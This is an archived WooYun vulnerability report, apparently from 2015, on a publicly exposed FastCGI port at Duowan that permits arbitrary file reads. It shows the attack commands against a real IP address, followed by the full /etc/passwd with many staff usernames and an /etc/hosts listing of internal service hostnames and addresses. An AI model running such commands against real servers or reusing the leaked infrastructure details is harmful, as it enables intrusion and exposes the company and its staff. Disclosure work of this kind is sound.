当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095486

漏洞标题：多玩配置问题导致任意文件包含

相关厂商：广州多玩

漏洞作者： boooooom

提交时间：2015-02-03 19:26

修复时间：2015-02-08 19:28

公开时间：2015-02-08 19:28

漏洞类型：应用配置错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-03： 细节已通知厂商并且等待厂商处理中
2015-02-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

还是fastcgi对外的问题额，发了吧

[root@localhost FastCGI]# /usr/local/php/bin/php fcgiget.php 113.106.100.82:9000/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
dspeak:x:1000:1000::/home/dspeak:/sbin/nologin
yuwanfu:x:1003:1003::/home/yuwanfu:/bin/bash
landscape:x:104:110::/var/lib/landscape:/bin/false
snmp:x:105:65534::/var/lib/snmp:/bin/false
nagios:x:106:111::/var/log/nagios:/bin/false
zabbix:x:107:112::/var/run/zabbix-server/:/bin/false
wuhaiting:x:1051:1051::/home/wuhaiting:/bin/bash
user_00:x:1054:1054::/home/user_00:/bin/bash
chenguanghui:x:1058:1058::/home/chenguanghui:/bin/bash
chenyongqiang:x:1059:1059::/home/chenyongqiang:/bin/bash
lisheng:x:1060:1060::/home/lisheng:/bin/bash
luojia:x:1061:1061::/home/luojia:/bin/bash
lvsongmei:x:1062:1062::/home/lvsongmei:/bin/bash
tangzhenquan:x:1065:1065::/home/tangzhenquan:/bin/bash
xiejunlong:x:1066:1066::/home/xiejunlong:/bin/bash
xuzhijian:x:1067:1067::/home/xuzhijian:/bin/bash
liaojunlian:x:1070:1075::/home/liaojunlian:/bin/bash
zengyueming:x:1074:1076::/home/zengyueming:/bin/bash
zhangguorui:x:1075:1077::/home/zhangguorui:/bin/bash
lanzhaobao:x:1076:1078::/home/lanzhaobao:/bin/bash
zhongjianhui:x:1078:1080::/home/zhongjianhui:/bin/bash
lianyongjian:x:2064:2064::/home/lianyongjian:/bin/bash
zhaokeke:x:2676:2676::/home/zhaokeke:/bin/bash
liuxingzhong:x:2704:2704::/home/liuxingzhong:/bin/bash
chenshunyao:x:2419:2419::/home/chenshunyao:/bin/bash
chenxiaokang:x:2009:2009::/home/chenxiaokang:/bin/bash
linxiaobin:x:2082:2082::/home/linxiaobin:/bin/bash
litianming:x:2089:2089::/home/litianming:/bin/bash
wangnian:x:2724:2724::/home/wangnian:/bin/bash
zhanghao1:x:2677:2677::/home/zhanghao1:/bin/bash
xiaohaoteng:x:2650:2650::/home/xiaohaoteng:/bin/bash

漏洞证明：

[root@localhost FastCGI]# /usr/local/php/bin/php fcgiget.php 113.106.100.82:9000/etc/hosts
X-Powered-By: PHP/5.2.6-3ubuntu4.6
Content-type: text/html
127.0.0.1	localhost
127.0.1.1	kickseed
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
121.14.37.147  balance.yy.duowan.com
121.14.37.145  smproxy1.yy.duowan.com
59.151.23.85  smproxy3.yy.duowan.com
59.151.47.70 sconf.yy.com
58.215.46.21	mirror.yy.duowan.com
221.228.209.123 subcul.redis.yy.com
221.228.209.123 uid2tid.redis.yy.com
220.181.86.221 subcul2.redis.yy.com
220.181.86.221 uid2tid2.redis.yy.com
61.152.250.207   smproxy2.yy.duowan.com
10.20.81.107 manager.repos.yy.duowan.com
# For appmgr sdk
121.14.36.25    nappmgr.open.yy.com
# For service 
121.14.37.154   servicemgr.yy.duowan.com
106.38.255.66 subcul.yy.com
221.228.209.123 subcul2.yy.com
121.14.37.153	config.yy.duowan.com
# For appmgr
121.14.36.25    appdisp1.open.yy.com
58.215.46.93    appdisp2.open.yy.com
58.215.46.81    appdisp3.open.yy.com
121.14.36.26    appdisp4.open.yy.com
58.215.46.92    appdisp5.open.yy.com
121.14.36.25    consolemgr.open.yy.com
121.14.43.142	oams.yy.duowan.com
220.181.86.207	sdaemon.yy.duowan.com
121.14.37.153	sdaemon2.yy.duowan.com
119.147.160.90	yycookie.yy.duowan.com
121.14.37.153	rdaemon.yy.duowan.com
220.181.86.207	rdaemon2.yy.duowan.com
121.14.37.153	relayDaemon.yy.duowan.com
220.181.86.207	relayDaemon2.yy.duowan.com
221.228.79.31	bc.yy.duowan.com
221.228.79.32	bc2.yy.duowan.com
106.38.255.160 servicemgr2.yy.duowan.com
106.38.255.130	oams2.yy.duowan.com

修复方案：

不对外

版权声明：转载请注明来源 boooooom@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-02-08 19:28

厂商回复：

最新状态：

暂无